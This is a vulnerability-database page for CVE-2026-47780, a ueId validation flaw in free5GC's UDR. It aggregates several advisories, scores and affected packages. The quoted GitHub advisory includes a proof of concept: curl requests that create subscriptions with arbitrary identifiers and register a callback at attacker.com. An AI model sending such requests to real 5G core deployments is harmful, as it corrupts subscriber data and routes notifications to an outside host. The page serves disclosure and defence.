Every CVE Search/ Get API key

CVE-2026-47780

free5GC: UDR Improper ueId validation in free5GC EE subscription handlers allows arbitrary identifier persistence

6.9 Medium

free5GC is an open-source implementation of the 5G core network. In 4.2.3 and earlier, HandleCreateEeSubscriptions and HandleQueryeesubscriptions in free5gc/udr internal/sbi/api_datarepository.go validate the ueId path value with a regular expression whose final .+ alternative accepts every non-empty string instead of restricting identifiers to supported SUPI and GPSI formats. An actor with network reachability to the UDR SBI can submit a non-3GPP identifier to /nudr-dr/v2/subscription-data/{ueId}/context-data/ee-subscriptions, causing the identifier to pass validation and enter the normal create or query flow. The advisory does not independently establish whether authentication is required. Invalid identifiers can be persisted and retrieved as subscription records, enabling unauthorized data creation, UDR namespace pollution, persistent subscriber-metadata corruption, and interference with downstream components that trust stored identifiers to use valid 3GPP formats. The exposure is most relevant in lab, test, or loosely segmented service-based-interface deployments where direct UDR access is possible.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
Low
Availability
None

Exploit likelihood

0.54%Up 0.5 points since Jun 12, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.9

free5GC: UDR Improper ueId validation in free5GC EE subscription handlers allows arbitrary identifier persistence

free5GC is an open-source implementation of the 5G core network. In 4.2.3 and earlier, HandleCreateEeSubscriptions and HandleQueryeesubscriptions in free5gc/udr internal/sbi/api_datarepository.go validate the ueId path value with a regular expression whose final .+ alternative accepts every non-empty string instead of restricting identifiers to supported SUPI and GPSI formats. An actor with network reachability to the UDR SBI can submit a non-3GPP identifier to /nudr-dr/v2/subscription-data/{ueId}/context-data/ee-subscriptions, causing the identifier to pass validation and enter the normal create or query flow. The advisory does not independently establish whether authentication is required. Invalid identifiers can be persisted and retrieved as subscription records, enabling unauthorized data creation, UDR namespace pollution, persistent subscriber-metadata corruption, and interference with downstream components that trust stored identifiers to use valid 3GPP formats. The exposure is most relevant in lab, test, or loosely segmented service-based-interface deployments where direct UDR access is possible.

Record
CVE-2026-47780
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-20
Updated
2026-11-02
EUVDEUVD-2026-78766 6.9

free5GC is an open-source implementation of the 5G core network. In 4.2.3 and earlier, HandleCreateEeSubscriptions and HandleQueryeesubscriptions in free5gc/udr internal/sbi/api_datarepository.go validate the ueId path value with a regular expression whose final .+ alternative accepts every non-empty string instead of restricting identifiers to supported SUPI and GPSI formats. An actor with network reachability to the UDR SBI can submit a non-3GPP identifier to /nudr-dr/v2/subscription-data/{ueId}/context-data/ee-subscriptions, causing the identifier to pass validation and enter the normal create or query flow. The advisory does not independently establish whether authentication is required. Invalid identifiers can be persisted and retrieved as subscription records, enabling unauthorized data creation, UDR namespace pollution, persistent subscriber-metadata corruption, and interference with downstream components that trust stored identifiers to use valid 3GPP formats. The exposure is most relevant in lab, test, or loosely segmented service-based-interface deployments where direct UDR access is possible.

Record
EUVD-2026-78766
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-6gxq-gpr8-xgjp 4.9

free5GC UDR has improper `ueId` validation in EE subscription handlers that allows arbitrary identifier persistence

Summary

The free5GC UDR accepts arbitrary non-3GPP ueId values in the EE subscription creation and query flows because the regular expression used for validation ends with the catch-all alternative |.+. This causes the validation logic to accept any non-empty string rather than restricting input to expected SUPI/GPSI-style formats. In a tested deployment, a crafted value such as ARBITRARY_STRING was successfully stored through the POST /nudr-dr/v2/subscription-data/{ueId}/context-data/ee-subscriptions endpoint and later retrieved through the corresponding GET endpoint, demonstrating persistent database pollution and broken trust boundaries in the UDR data model.

An improper input validation issue exists in the free5GC UDR EE subscription handlers responsible for creating and querying UE event exposure subscriptions. The affected code validates ueId with a regular expression that includes a final |.+ branch, which matches any non-empty string and defeats the intended 3GPP identifier checks. As a result, an attacker able to reach the UDR SBI can submit arbitrary identifiers and have them persisted and retrieved as valid subscription records, causing unauthorized data creation and corruption of the UDR data store.

Details

The vulnerable logic is present in two handlers in api_datarepository.go: HandleCreateEeSubscriptions and HandleQueryeesubscriptions. Both paths rely on the same regexp.MatchString() validation pattern for ueId: ^(imsi-[0-9]{5,15}|nai-.+|msisdn-[0-9]{5,15}|extid-[^@]+@[^@]+|gci-.+|gli-.+|.+)$. The final alternative .+ acts as a universal match for any non-empty string, so values that do not conform to IMSI, NAI, MSISDN, EXTID, GCI, or GLI formats are still accepted.

Once the validation succeeds, the handlers pass the attacker-controlled ueId into the normal processing flow. In the tested environment, POST /nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions returned 201 Created, and the response Location header pointed to a newly created resource under the arbitrary identifier. A subsequent GET /nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions returned 200 OK with a JSON body, confirming that the data was persisted and retrievable. This demonstrates that the issue is not limited to superficial input acceptance; it results in server-side storage of untrusted identifiers in the UDR backend.

The vulnerable pattern appears to reflect a permissive schema-style expression rather than a security-oriented validator. In an OpenAPI or data-model context, a catch-all alternative may describe allowed generic strings, but in request validation logic it nullifies the protection provided by the more specific alternatives. The proper fix is to remove the trailing |.+ branch and restrict accepted input to explicitly supported identifier formats only.

PoC

The issue was reproduced against a running free5GC UDR instance listening on 10.22.22.5:80 with the nudr-dr API exposed under /v2. The following commands demonstrate the behavior.

Environment

  • UDR IP: 10.22.22.5
  • UDR port: 80
  • API base path: /nudr-dr/v2
  • Tested endpoint family: /subscription-data/{ueId}/context-data/ee-subscriptions

Step 1: Create an EE subscription with a legitimate identifier

curl -X POST "http://10.22.22.5:80/nudr-dr/v2/subscription-data/imsi-208930000000001/context-data/ee-subscriptions" \
  -H "Content-Type: application/json" \
  -d '{"callbackReference": "http://attacker.com/notify"}' -v

Expected observed result in the test environment:

  • HTTP/1.1 201 Created
  • Location: http://udr.sbi.fub5g.it:80/nudr-dr/v2/subscription-data/imsi-208930000000001/context-data/ee-subscriptions/1

Step 2: Create an EE subscription with an arbitrary non-3GPP identifier

curl -X POST "http://10.22.22.5:80/nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions" \
  -H "Content-Type: application/json" \
  -d '{"callbackReference":…
Record
GHSA-6gxq-gpr8-xgjp
CVSS 4.0
4.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N/E:U
Weakness
CWE-20
Updated
2026-11-02
NVD 6.9

free5GC is an open-source implementation of the 5G core network. In 4.2.3 and earlier, HandleCreateEeSubscriptions and HandleQueryeesubscriptions in free5gc/udr internal/sbi/api_datarepository.go validate the ueId path value with a regular expression whose final .+ alternative accepts every non-empty string instead of restricting identifiers to supported SUPI and GPSI formats. An actor with network reachability to the UDR SBI can submit a non-3GPP identifier to /nudr-dr/v2/subscription-data/{ueId}/context-data/ee-subscriptions, causing the identifier to pass validation and enter the normal create or query flow. The advisory does not independently establish whether authentication is required. Invalid identifiers can be persisted and retrieved as subscription records, enabling unauthorized data creation, UDR namespace pollution, persistent subscriber-metadata corruption, and interference with downstream components that trust stored identifiers to use valid 3GPP formats. The exposure is most relevant in lab, test, or loosely segmented service-based-interface deployments where direct UDR access is possible.

Record
CVE-2026-47780
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-20
Updated
2026-11-02
OSV 6.9

free5GC: UDR Improper ueId validation in free5GC EE subscription handlers allows arbitrary identifier persistence

free5GC is an open-source implementation of the 5G core network. In 4.2.3 and earlier, HandleCreateEeSubscriptions and HandleQueryeesubscriptions in free5gc/udr internal/sbi/api_datarepository.go validate the ueId path value with a regular expression whose final .+ alternative accepts every non-empty string instead of restricting identifiers to supported SUPI and GPSI formats. An actor with network reachability to the UDR SBI can submit a non-3GPP identifier to /nudr-dr/v2/subscription-data/{ueId}/context-data/ee-subscriptions, causing the identifier to pass validation and enter the normal create or query flow. The advisory does not independently establish whether authentication is required. Invalid identifiers can be persisted and retrieved as subscription records, enabling unauthorized data creation, UDR namespace pollution, persistent subscriber-metadata corruption, and interference with downstream components that trust stored identifiers to use valid 3GPP formats. The exposure is most relevant in lab, test, or loosely segmented service-based-interface deployments where direct UDR access is possible.

Record
CVE-2026-47780
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-20
Updated
2026-11-02
OSVGHSA-6gxq-gpr8-xgjp 4.9

free5GC UDR has improper `ueId` validation in EE subscription handlers that allows arbitrary identifier persistence

Summary

The free5GC UDR accepts arbitrary non-3GPP ueId values in the EE subscription creation and query flows because the regular expression used for validation ends with the catch-all alternative |.+. This causes the validation logic to accept any non-empty string rather than restricting input to expected SUPI/GPSI-style formats. In a tested deployment, a crafted value such as ARBITRARY_STRING was successfully stored through the POST /nudr-dr/v2/subscription-data/{ueId}/context-data/ee-subscriptions endpoint and later retrieved through the corresponding GET endpoint, demonstrating persistent database pollution and broken trust boundaries in the UDR data model.

An improper input validation issue exists in the free5GC UDR EE subscription handlers responsible for creating and querying UE event exposure subscriptions. The affected code validates ueId with a regular expression that includes a final |.+ branch, which matches any non-empty string and defeats the intended 3GPP identifier checks. As a result, an attacker able to reach the UDR SBI can submit arbitrary identifiers and have them persisted and retrieved as valid subscription records, causing unauthorized data creation and corruption of the UDR data store.

Details

The vulnerable logic is present in two handlers in api_datarepository.go: HandleCreateEeSubscriptions and HandleQueryeesubscriptions. Both paths rely on the same regexp.MatchString() validation pattern for ueId: ^(imsi-[0-9]{5,15}|nai-.+|msisdn-[0-9]{5,15}|extid-[^@]+@[^@]+|gci-.+|gli-.+|.+)$. The final alternative .+ acts as a universal match for any non-empty string, so values that do not conform to IMSI, NAI, MSISDN, EXTID, GCI, or GLI formats are still accepted.

Once the validation succeeds, the handlers pass the attacker-controlled ueId into the normal processing flow. In the tested environment, POST /nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions returned 201 Created, and the response Location header pointed to a newly created resource under the arbitrary identifier. A subsequent GET /nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions returned 200 OK with a JSON body, confirming that the data was persisted and retrievable. This demonstrates that the issue is not limited to superficial input acceptance; it results in server-side storage of untrusted identifiers in the UDR backend.

The vulnerable pattern appears to reflect a permissive schema-style expression rather than a security-oriented validator. In an OpenAPI or data-model context, a catch-all alternative may describe allowed generic strings, but in request validation logic it nullifies the protection provided by the more specific alternatives. The proper fix is to remove the trailing |.+ branch and restrict accepted input to explicitly supported identifier formats only.

PoC

The issue was reproduced against a running free5GC UDR instance listening on 10.22.22.5:80 with the nudr-dr API exposed under /v2. The following commands demonstrate the behavior.

Environment

  • UDR IP: 10.22.22.5
  • UDR port: 80
  • API base path: /nudr-dr/v2
  • Tested endpoint family: /subscription-data/{ueId}/context-data/ee-subscriptions

Step 1: Create an EE subscription with a legitimate identifier

curl -X POST "http://10.22.22.5:80/nudr-dr/v2/subscription-data/imsi-208930000000001/context-data/ee-subscriptions" \
  -H "Content-Type: application/json" \
  -d '{"callbackReference": "http://attacker.com/notify"}' -v

Expected observed result in the test environment:

  • HTTP/1.1 201 Created
  • Location: http://udr.sbi.fub5g.it:80/nudr-dr/v2/subscription-data/imsi-208930000000001/context-data/ee-subscriptions/1

Step 2: Create an EE subscription with an arbitrary non-3GPP identifier

curl -X POST "http://10.22.22.5:80/nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions" \
  -H "Content-Type: application/json" \
  -d '{"callbackReference":…
Record
GHSA-6gxq-gpr8-xgjp
CVSS 4.0
4.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N/E:U
Weakness
CWE-20
Updated
2026-11-02
OSVGO-2026-5178 No score

free5GC UDR has improper `ueId` validation in EE subscription handlers that allows arbitrary identifier persistence in github.com/free5gc/udr

free5GC UDR has improper ueId validation in EE subscription handlers that allows arbitrary identifier persistence in github.com/free5gc/udr

Record
GO-2026-5178
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/free5gc/udr
Go
 through 1.4.3 None known
github.com/free5gc/udr
Go
 All versions None known
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-47780 is a medium vulnerability (CVSS 6.9) in Free5gc, published June 11, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.54%, the 45th percentile. No source names a fixed version.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 1,539 references and the rest of 3 source descriptions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open